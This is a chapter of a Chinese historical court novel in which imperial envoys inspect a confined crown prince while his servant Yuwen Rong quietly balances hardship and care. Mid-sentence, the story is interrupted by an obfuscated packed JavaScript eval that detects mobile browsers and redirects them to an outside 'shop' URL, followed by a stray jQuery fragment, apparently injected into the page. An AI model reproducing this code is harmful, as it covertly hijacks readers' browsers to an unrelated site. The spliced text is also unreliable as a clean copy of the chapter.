翌日清晨,静思堂迎来了一位意想不到的访客——怀恩。
老太监独自一人,提着一个食盒,步履无声地走进庭院。他脸上依旧是那副万年不变的恭谨表情,眼神却比杜少卿更加幽深难测。
“老奴奉陛下口谕,来给太子殿下送些点心。”怀恩对闻讯出来的太子行礼,声音平和。
太子神色一凛,立刻躬身:“有劳公公,儿臣谢父皇恩典。”
怀恩将食盒交给上前接过的宇文戎,却并未立刻离开。他的目光在太子略显憔悴的脸上停留片刻,又缓缓扫过收拾得异常整洁、甚至透着一丝暖意的庭院,最后,落在了垂手侍立一旁的宇文戎身上:“陛下还问起,宇文戎在此伺候,可还尽心?”
宇文戎立刻跪下:“罪役愚钝,唯知尽力。”
怀恩“嗯”了一声,走近两步,竟伸手扶了他一下:“起来吧。陛下说了,你伺候得……还算周到。” 他的手指在宇文戎手臂上停留了短短一瞬,那力道不轻不重,却带着一种评估的意味。“尤其这炭火,陛下听说静思堂昨日温暖如春,连杜大人都夸了几句。”
宇文戎心头猛地一跳。炭火!昨日他为了调节气氛、给予太子支撑,确实格外留意炭火,让它保持恒定旺盛的温暖。这细微之处,竟也被报了上去,且引起了梁帝的注意。
“此乃罪役本分。”他垂首道,声音愈发平稳。
怀恩不再看他,转向太子,语气多了几分语重心长:“殿下,陛下心里,始终是记挂着您的。只是有些事……需得慢慢来。您在此,务必保重身体,静心思过。陛下……看着呢。”
怀恩走后,太子看着那个精美的食盒,脸上没有半分喜色,反而更添了一层阴霾。父皇的“记挂”与“看着”,比杜少卿的诘问更让人感到无形的压力。
宇文戎走到炭盆边,看着里面稳定燃烧的火焰,眼神微凝。怀恩特意提及炭火……是随口一提,还是警告?
他不能让这里显得太舒适,那会让梁帝觉得太子并未受到足够的磨砺,也可能暴露自己过于刻意的维护。但也不能让太子真的受冻病倒。
接下来的两日,宇文戎调整了策略。炭火依旧保持不熄,但温度稍稍降低,维持在刚好驱散寒意却不显暖融的程度。他洒扫时,会故意留下庭院角落一小片落叶不去清扫,让庭院看起来不那么“井井有条”。太子换下的衣物,他也不再立刻浆洗得笔挺,而是稍作晾晒便收回,略显柔软褶皱。
既要让监视者看到太子在“受苦思过”,又要确保太子实际的生活底线不受损,还要继续提供那些看不见的精神支撑——比如,在太子阅读时,他会将油灯的光线调整到最护眼的角度;在太子夜半难眠时,他会“恰好”起来添炭,让那一点暖光和声响陪伴长夜。
怀恩的到来和那句关于“炭火”的话,是一个清晰的信号:梁帝的注视,比想象中更细致,也更耐心。他必须更加小心,在“尽责的仆役”和“沉默的守护者”之间,找到那条更隐晦、更安全的细线。
怀恩来访后的第五日,雪停了,天空却依旧沉郁着铅灰色的云层,压得人透不过气。静思堂的庭院里,积雪被扫到墙根,融化的雪水在午后复又冻成滑腻的冰壳,走上去需得格外小心。
宇文戎正在用旧布裹着扫帚头,一点点清理廊下冻结的薄冰。他的动作很慢,心思却全在耳中——庭院外,似乎有不同寻常的、整齐而轻微的脚步声由远及近,不止一人。
他停下动作,垂手立到廊柱旁。
院门被无声推开。进来的是四名低眉顺目、身着青色宫装的女官。她们手中各捧着一个紫檀托盘,上面覆盖着明黄锦缎。为首一位年约三十,面容端正严肃,眼神锐利如尺,目光扫过庭院,最后落在闻声从正堂走出的太子身上。
“奴婢等奉陛下旨意,为殿下送来冬衣及用物。”女官声音清亮,行礼一丝不苟。
太子颔首:“有劳。”
女官们鱼贯而入,将托盘置于堂内桌上,揭开锦缎。并非什么奢华之物:两套厚实的新棉袍,一袭玄狐皮里子的斗篷,几双加厚棉袜,另有一些笔墨纸砚和两匣新书。东西寻常,但在这个时候送来,意义非凡。既是“恩赏”,提醒太子皇恩仍在;也是“观察”,看太子对这份“恩赏”作何反应。
宇文戎在门外,目光掠过那些物品,最后落在为首那位女官的脸上。他记得她,尚服局的女史,姓严,以严谨刻板、忠于职守闻名宫中。
严女史并未立刻离去。她仔细地将物品一一清点交接,目光却仿佛不经意地扫过室内各处:炭盆的火候,窗户的密封,桌案的整洁,乃至太子身上半旧但洁净的衣裳。她的视线甚至在宇文戎刚刚清理过的、毫无冰碴的廊下地面停留了一瞬。
“陛下牵挂殿下,特意吩咐,静思堂一应起居用度,皆需妥帖。”严女史语气平直,像在宣读章程,“奴婢奉命,日后每旬会来查验一次,回禀陛下,以免下人懈怠,委屈了殿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048642|194767||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下。”
太子神色不变,只道:“父皇隆恩,儿臣感念。有劳严女史。”
严女史再次行礼,目光终于转向一直垂手侍立在门边的宇文戎。“你便是伺候殿下的宇文戎?”
“是。”宇文戎躬身。
“陛下有口谕给你。”严女史的声音陡然多了几分重量。
宇文戎立刻跪倒。
“陛下说,”严女史一字不差地复述,带着帝王口吻特有的威严,“‘静思堂清苦,太子安危体面系于尔身。用心当差,朕自有考量;若有疏忽,两罪并罚。’你可听清了?”
“罪役听清了,定当竭尽全力,不敢有丝毫疏忽。”宇文戎额头触地,声音沉稳。
严女史不再看他,对太子又行一礼,这才带着其余女官退去。她们脚步轻捷,训练有素,很快消失在院门外,仿佛从未来过,只留下桌上那些崭新的物品,和空气中一丝更加凝重的、被规则严密丈量过的压力。
太子看着那些衣物,脸上并无喜色,反而浮起一丝淡淡的嘲讽。他当然明白,这哪里是赏赐,分明是更精致的枷锁和更频繁的检查。每旬一次,意味着他连喘息的时间都被精确分割。
宇文戎起身,走到桌边,开始默默整理那些物品。他将棉袍和斗篷仔细折叠,收入一旁的柜中。笔墨纸砚摆到书案顺手的位置。新书……他拿起最上面一册,是《贞观政要》。指尖拂过封皮,他动作几不可察地顿了顿,随即如常放下。
严女史第一次旬查,在一个阴冷的上午到来。她带着两名小宫女,将静思堂里外细细检视了一遍。她问得很少,看得很多,不时用指尖拂过桌面、窗棂,检查是否有积灰。
宇文戎全程跟在后面,对答简短。当严女史的目光掠过书案上那本《贞观政要》时,随口问了一句:“殿下近日在读此书?”
太子还未答,宇文戎已先一步躬身道:“回女史,书是前日送来的,殿下尚未翻阅。殿下近日……多在抄写《孝经》静心。”
严女史“嗯”了一声,不置可否。宇文戎的回答,将太子的行为完全框定在了梁帝设定的“思过”范畴内,且暗示了新送的书并未干扰太子的“静心”。
宇文戎知道旬查会一次接一次地来。陛下的“考量”悬在头顶。太子的压力与日俱增。而他能做的,便是在这越来越狭窄的夹缝里,继续寻找那些看不见的、却真实存在的支点,支撑着这片小小的天地,不至于在无声的挤压下彻底崩塌。